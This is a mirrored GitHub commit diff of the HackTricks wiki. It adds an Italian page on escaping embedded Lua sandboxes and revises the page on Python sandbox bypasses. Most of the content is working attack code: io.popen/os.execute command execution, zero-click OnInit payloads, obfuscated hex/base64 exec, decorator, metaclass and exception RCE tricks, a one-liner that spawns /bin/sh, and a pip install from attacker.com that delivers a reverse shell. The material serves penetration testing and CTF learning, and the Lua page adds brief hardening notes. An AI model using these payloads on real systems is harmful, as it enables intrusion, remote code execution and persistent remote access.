mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
e35ddd4898
commit
71cf3e101b
@ -80,6 +80,8 @@
|
||||
- [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
# 🧙♂️ Generic Hacking
|
||||
|
||||
@ -926,13 +928,4 @@
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
||||
|
||||
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
- [Readme](reversing/cryptographic-algorithms/README.md)
|
||||
- [Readme](reversing/reversing-tools/README.md)
|
||||
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
|
||||
|
||||
|
@ -0,0 +1,115 @@
|
||||
# Bypass Lua sandboxes (embedded VMs, game clients)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Questa pagina raccoglie tecniche pratiche per enumerare e uscire da Lua "sandboxes" integrate nelle applicazioni (in particolare game clients, plugins o in-app scripting engines). Molti engine espongono un ambiente Lua ristretto, ma lasciano globals potenti raggiungibili che permettono l'esecuzione arbitraria di comandi o persino la corruzione della memoria nativa quando sono esposti bytecode loaders.
|
||||
|
||||
Concetti chiave:
|
||||
- Treat the VM as an unknown environment: enumerate _G and discover what dangerous primitives are reachable.
|
||||
- When stdout/print is blocked, abuse any in-VM UI/IPC channel as an output sink to observe results.
|
||||
- If io/os is exposed, you often have direct command execution (io.popen, os.execute).
|
||||
- If load/loadstring/loadfile are exposed, executing crafted Lua bytecode can subvert memory safety in some versions (≤5.1 verifiers are bypassable; 5.2 removed verifier), enabling advanced exploitation.
|
||||
|
||||
## Enumerare l'ambiente sandbox
|
||||
|
||||
- Dump the global environment to inventory reachable tables/functions:
|
||||
```lua
|
||||
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
|
||||
local function dump_globals(out)
|
||||
out("=== DUMPING _G ===")
|
||||
for k, v in pairs(_G) do
|
||||
out(tostring(k) .. " = " .. tostring(v))
|
||||
end
|
||||
end
|
||||
```
|
||||
- Se print() non è disponibile, riutilizza i canali in-VM. Esempio tratto da una VM di script per housing di un MMO in cui l'output della chat funziona solo dopo la riproduzione di un suono; il seguente costruisce una funzione di output affidabile:
|
||||
```lua
|
||||
-- Build an output channel using in-game primitives
|
||||
local function ButlerOut(label)
|
||||
-- Some engines require enabling an audio channel before speaking
|
||||
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
|
||||
return function(msg)
|
||||
H.Say(label or 1, msg)
|
||||
end
|
||||
end
|
||||
|
||||
function OnMenu(menuNum)
|
||||
if menuNum ~= 3 then return end
|
||||
local out = ButlerOut(1)
|
||||
dump_globals(out)
|
||||
end
|
||||
```
|
||||
Generalizza questo pattern per il tuo target: qualsiasi textbox, toast, logger o UI callback che accetta stringhe può fungere da stdout per reconnaissance.
|
||||
|
||||
## Esecuzione diretta di comandi se io/os è esposto
|
||||
|
||||
Se la sandbox espone ancora le librerie standard io o os, è probabile che tu possa eseguire comandi immediatamente:
|
||||
```lua
|
||||
-- Windows example
|
||||
io.popen("calc.exe")
|
||||
|
||||
-- Cross-platform variants depending on exposure
|
||||
os.execute("/usr/bin/id")
|
||||
io.popen("/bin/sh -c 'id'")
|
||||
```
|
||||
Note:
|
||||
- L'esecuzione avviene all'interno del processo client; molti layer anti-cheat/antidebug che bloccano debugger esterni non impediranno la creazione di processi dentro la VM.
|
||||
- Controllare anche: package.loadlib (caricamento arbitrario di DLL/.so), require con moduli nativi, LuaJIT's ffi (se presente), and the debug library (can raise privileges inside the VM).
|
||||
|
||||
## Trigger Zero-click tramite auto-run callbacks
|
||||
|
||||
Se l'applicazione host invia script ai client e la VM espone auto-run hooks (es. OnInit/OnLoad/OnEnter), piazza il tuo payload lì per una compromissione drive-by non appena lo script viene caricato:
|
||||
```lua
|
||||
function OnInit()
|
||||
io.popen("calc.exe") -- or any command
|
||||
end
|
||||
```
|
||||
Qualsiasi callback equivalente (OnLoad, OnEnter, etc.) generalizza questa tecnica quando gli script vengono trasmessi ed eseguiti automaticamente sul client.
|
||||
|
||||
## Dangerous primitives to hunt during recon
|
||||
|
||||
Durante l'enumerazione di _G, cerca specificamente:
|
||||
- io, os: io.popen, os.execute, file I/O, env access.
|
||||
- load, loadstring, loadfile, dofile: eseguire sorgente o bytecode; supporta il caricamento di bytecode non attendibile.
|
||||
- package, package.loadlib, require: caricamento dinamico di librerie e interfaccia dei moduli.
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, e hooks.
|
||||
- LuaJIT-only: ffi.cdef, ffi.load per chiamare codice nativo direttamente.
|
||||
|
||||
Minimal usage examples (if reachable):
|
||||
```lua
|
||||
-- Execute source/bytecode
|
||||
local f = load("return 1+1")
|
||||
print(f()) -- 2
|
||||
|
||||
-- loadstring is alias of load for strings in 5.1
|
||||
local bc = string.dump(function() return 0x1337 end)
|
||||
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
|
||||
print(g())
|
||||
|
||||
-- Load native library symbol (if allowed)
|
||||
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
|
||||
local foo = mylib()
|
||||
```
|
||||
## Escalation opzionale: abuso dei loader di bytecode di Lua
|
||||
|
||||
Quando `load`/`loadstring`/`loadfile` sono raggiungibili ma `io`/`os` sono limitati, l'esecuzione di bytecode Lua creato ad hoc può portare a primitive di divulgazione della memoria e corruzione. Punti chiave:
|
||||
- Lua ≤ 5.1 includeva un verificatore di bytecode che ha bypass noti.
|
||||
- Lua 5.2 ha rimosso il verificatore completamente (posizione ufficiale: le applicazioni dovrebbero semplicemente rifiutare i precompiled chunks), ampliando la superficie di attacco se il caricamento di bytecode non è proibito.
|
||||
- Tipici workflow: leak pointers via in-VM output, craft bytecode per creare type confusions (es., attorno a FORLOOP o altri opcodes), quindi pivotare verso arbitrary read/write o native code execution.
|
||||
|
||||
Questo percorso è specifico per engine/version e richiede RE. Vedi i riferimenti per approfondimenti, exploitation primitives e esempi di gadgetry nei giochi.
|
||||
|
||||
## Note di rilevamento e hardening (per i difensori)
|
||||
|
||||
- Lato server: rifiutare o riscrivere gli user script; usare allowlist per le API sicure; rimuovere o bindare a vuoto `io`, `os`, `load`/`loadstring`/`loadfile`/`dofile`, `package.loadlib`, `debug`, `ffi`.
|
||||
- Lato client: eseguire Lua con un `_ENV` minimale, vietare il caricamento di bytecode, reintrodurre un strict bytecode verifier o controlli di firma, e bloccare la creazione di processi dal processo client.
|
||||
- Telemetria: generare allarmi su gameclient → child process creation poco dopo lo script load; correlare con eventi UI/chat/script.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
|
||||
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
|
||||
- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
|
||||
- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -2,11 +2,12 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Questi sono alcuni trucchi per bypassare le protezioni del python sandbox ed eseguire comandi arbitrari.
|
||||
Questi sono alcuni trucchi per bypass python sandbox protections ed eseguire comandi arbitrari.
|
||||
|
||||
|
||||
## Librerie per l'esecuzione di comandi
|
||||
|
||||
La prima cosa da sapere è se puoi eseguire direttamente codice con qualche libreria già importata, oppure se puoi importare una di queste librerie:
|
||||
La prima cosa che devi sapere è se puoi eseguire codice direttamente con qualche libreria già importata, o se puoi importare una qualsiasi di queste librerie:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -39,20 +40,20 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Ricorda che le funzioni _**open**_ e _**read**_ possono essere utili per **leggere file** dentro la python sandbox e per **scrivere del codice** che potresti **eseguire** per poter **bypass** la sandbox.
|
||||
Ricorda che le funzioni _**open**_ e _**read**_ possono essere utili per **leggere file** all'interno del python sandbox e per **scrivere del codice** che potresti **eseguire** per **bypassare** la sandbox.
|
||||
|
||||
> [!CAUTION] > **Python2 input()** function consente di eseguire codice python prima che il programma si arresti.
|
||||
> [!CAUTION] > **Python2 input()** function permette di eseguire codice python prima che il programma crashi.
|
||||
|
||||
Python cerca di **caricare le librerie prima dalla directory corrente** (il seguente comando stamperà da dove python carica i moduli): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python cerca di **caricare le librerie dalla directory corrente prima** (il comando seguente stamperà da dove python sta caricando i moduli): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Bypass pickle sandbox con i pacchetti python preinstallati
|
||||
## Bypass pickle sandbox con i pacchetti python installati di default
|
||||
|
||||
### Pacchetti preinstallati
|
||||
### Pacchetti predefiniti
|
||||
|
||||
Puoi trovare una **lista dei pacchetti preinstallati** qui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Nota che da un pickle puoi far sì che l'ambiente python **importi librerie arbitrarie** installate nel sistema.\
|
||||
Puoi trovare una **lista dei pacchetti pre-installati** qui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Nota che da un pickle puoi far sì che il python env **import arbitrary libraries** installate nel sistema.\
|
||||
Per esempio, il seguente pickle, quando caricato, importerà la libreria pip per usarla:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
@ -68,30 +69,30 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Per maggiori informazioni su come funziona pickle consulta questo: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pacchetto Pip
|
||||
### Pip package
|
||||
|
||||
Trucco condiviso da **@isHaacK**
|
||||
Trick condiviso da **@isHaacK**
|
||||
|
||||
Se hai accesso a `pip` o `pip.main()` puoi installare un pacchetto arbitrario e ottenere una reverse shell chiamando:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Puoi scaricare il pacchetto per creare la reverse shell qui. Nota che prima di usarlo dovresti **decomprimerlo, modificare il `setup.py` e inserire il tuo IP per la reverse shell**:
|
||||
Puoi scaricare il pacchetto per creare la reverse shell qui. Per favore, nota che prima di usarlo dovresti **decomprimerlo, modificare il `setup.py`, e inserire il tuo IP per la reverse shell**:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> Questo pacchetto si chiama `Reverse`. Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, così **non lascerai nessun pacchetto python extra installato sul server** quando te ne andrai.
|
||||
> Questo pacchetto si chiama `Reverse`. Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, quindi **non lascerai alcun pacchetto python aggiuntivo installato sul server** quando te ne andrai.
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che exec permette stringhe multilinea e ";", mentre eval no (controlla l'operatore walrus)
|
||||
> Nota che exec permette stringhe multilinea e ";", ma eval no (check walrus operator)
|
||||
|
||||
Se certi caratteri sono proibiti puoi usare le rappresentazioni **hex/octal/B64** per **bypass** la restrizione:
|
||||
Se alcuni caratteri sono proibiti puoi usare la rappresentazione **hex/octal/B64** per **bypass** la restrizione:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -112,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### Altre librerie che consentono di utilizzare eval su codice python
|
||||
### Altre librerie che consentono di usare eval su codice python
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -126,9 +127,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
Vedi anche un real-world sandboxed evaluator escape nei generatori PDF:
|
||||
Vedi anche un caso reale di escape da un sandboxed evaluator nei generatori PDF:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa di rl_safe_eval per raggiungere function.__globals__ e os.system da attributi valutati (per esempio, font color) e restituisce un valore valido per mantenere il rendering stabile.
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa di rl_safe_eval per raggiungere function.__globals__ e os.system tramite attributi valutati (per esempio, il colore del font) e restituisce un valore valido per mantenere il rendering stabile.
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
@ -143,7 +144,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Bypassare le protezioni attraverso encoding (UTF-7)
|
||||
## Bypass delle protezioni tramite encodings (UTF-7)
|
||||
|
||||
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 viene usato per caricare ed eseguire codice python arbitrario all'interno di un apparente sandbox:
|
||||
```python
|
||||
@ -156,11 +157,11 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
È anche possibile bypassarlo usando altre codifiche, ad es. `raw_unicode_escape` e `unicode_escape`.
|
||||
È anche possibile bypassarlo usando altre codifiche, es. `raw_unicode_escape` e `unicode_escape`.
|
||||
|
||||
## Esecuzione Python senza chiamate
|
||||
|
||||
Se sei all'interno di una python jail che **non ti permette di effettuare chiamate**, ci sono comunque alcuni modi per **eseguire funzioni arbitrarie, codice** e **comandi**.
|
||||
Se ti trovi dentro una python jail che **non ti permette di effettuare chiamate**, ci sono comunque alcuni modi per **eseguire funzioni arbitrarie, codice** e **comandi**.
|
||||
|
||||
### RCE con [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
@ -184,13 +185,13 @@ X = exec(X)
|
||||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE creating objects and overloading
|
||||
### RCE creando objects and overloading
|
||||
|
||||
Se puoi **declare a class** e **create an object** di quella class puoi **write/overwrite different methods** che possono essere **triggered** **without** **needing to call them directly**.
|
||||
Se puoi **dichiarare una class** e **creare un object** di quella class, puoi **scrivere/sovrascrivere diversi methods** che possono essere **triggered** **senza** **aver bisogno di chiamarli direttamente**.
|
||||
|
||||
#### RCE con custom classes
|
||||
|
||||
Puoi modificare alcuni **class methods** (_by overwriting existing class methods or creating a new class_) per farli **execute arbitrary code** quando vengono **triggered** senza chiamarli direttamente.
|
||||
Puoi modificare alcuni **class methods** (_sovrascrivendo i class methods esistenti o creando una nuova class_) per farli **execute arbitrary code** quando vengono **triggered** senza chiamarli direttamente.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -242,7 +243,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Creazione di oggetti con [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
La cosa fondamentale che le metaclasses ci permettono di fare è **creare un'istanza di una classe senza chiamare direttamente il constructor**, creando una nuova classe che abbia la classe target come metaclass.
|
||||
La cosa fondamentale che metaclasses ci permettono di fare è **creare un'istanza di una classe senza chiamare direttamente il constructor**, creando una nuova classe con la classe target come metaclass.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -257,9 +258,9 @@ Sub['import os; os.system("sh")']
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### Creazione di oggetti con exceptions
|
||||
#### Creazione di oggetti con eccezioni
|
||||
|
||||
Quando un'**exception viene attivata** viene **creato** un oggetto della **Exception** senza che tu debba chiamare direttamente il costruttore (un trucco di [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
Quando **viene sollevata un'eccezione**, un oggetto di **Exception** viene **creato** senza che tu debba chiamare il costruttore direttamente (un trucco di [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -279,7 +280,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
### Altre RCE
|
||||
### Più RCE
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
||||
@ -301,7 +302,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Leggi il file con builtins help & license
|
||||
### Leggi il file con builtins help & licenza
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -315,7 +316,7 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Se puoi accedere all'oggetto **`__builtins__`** puoi importare librerie (nota che puoi anche usare qui altre rappresentazioni stringa mostrate nella sezione finale):
|
||||
Se puoi accedere all'oggetto **`__builtins__`** puoi importare librerie (nota che puoi anche usare qui altre rappresentazioni stringa mostrate nell'ultima sezione):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
@ -323,9 +324,9 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||
### No Builtins
|
||||
|
||||
Quando non hai `__builtins__` non sarai in grado di importare nulla né tantomeno leggere o scrivere file poiché **tutte le funzioni globali** (come `open`, `import`, `print`...) **non sono caricate**.\
|
||||
Tuttavia, **per default python importa molti moduli in memoria**. Questi moduli possono sembrare benigni, ma alcuni di essi stanno **anche importando funzionalità pericolose** al loro interno che possono essere accessate per ottenere anche **arbitrary code execution**.
|
||||
Tuttavia, **per default python importa molti moduli in memoria**. Questi moduli possono sembrare innocui, ma alcuni di essi **importano anche funzionalità pericolose** al loro interno che possono essere sfruttate per ottenere persino **arbitrary code execution**.
|
||||
|
||||
Nei seguenti esempi puoi osservare come **abusare** di alcuni di questi moduli "**benigni**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
|
||||
Negli esempi seguenti puoi osservare come **abusare** di alcuni di questi moduli "**apparentemente innocui**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -367,9 +368,9 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **luoghi** dove puoi trovare i **builtins**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **posti** dove puoi trovare i **builtins**.
|
||||
|
||||
#### Python2 and Python3
|
||||
#### Python2 e Python3
|
||||
```python
|
||||
# Recover __builtins__ and make everything easier
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
@ -385,7 +386,7 @@ __builtins__["__import__"]("os").system("ls")
|
||||
```
|
||||
## Globals e locals
|
||||
|
||||
Controllare le **`globals`** e **`locals`** è un buon modo per sapere a cosa puoi accedere.
|
||||
Controllare le **`globals`** e le **`locals`** è un buon modo per sapere a cosa puoi accedere.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -409,15 +410,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **luoghi** dove puoi trovare le **globals**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
|
||||
|
||||
## Scoprire Arbitrary Execution
|
||||
## Discover Arbitrary Execution
|
||||
|
||||
Qui voglio spiegare come scoprire facilmente **funzionalità più pericolose caricate** e proporre exploit più affidabili.
|
||||
Qui voglio spiegare come scoprire facilmente **funzionalità caricate più pericolose** e proporre exploits più affidabili.
|
||||
|
||||
#### Accesso a subclasses con bypasses
|
||||
#### Accesso alle sottoclassi con bypass
|
||||
|
||||
Una delle parti più sensibili di questa tecnica è poter **accedere alle subclasses base**. Nei precedenti esempi questo è stato fatto usando `''.__class__.__base__.__subclasses__()` ma ci sono **altre possibili modalità**:
|
||||
Una delle parti più sensibili di questa tecnica è poter **accedere alle sottoclassi base**. Negli esempi precedenti questo è stato fatto usando `''.__class__.__base__.__subclasses__()` ma ci sono **altri modi possibili**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -452,11 +453,11 @@ Ad esempio, sapendo che con la libreria **`sys`** è possibile **importare libre
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
Ce ne sono molte, e **ne serve solo una** per eseguire comandi:
|
||||
Ce ne sono molti, e **ne serve solo uno** per eseguire comandi:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Possiamo fare la stessa cosa con **altre librerie** che sappiamo possano essere usate per **eseguire comandi**:
|
||||
Possiamo fare la stessa cosa con **altre librerie** che sappiamo possono essere usate per **eseguire comandi**:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -491,7 +492,7 @@ Possiamo fare la stessa cosa con **altre librerie** che sappiamo possano essere
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
Inoltre, potremmo anche cercare quali modules are loading malicious libraries:
|
||||
Inoltre, potremmo persino cercare quali moduli stanno caricando librerie dannose:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
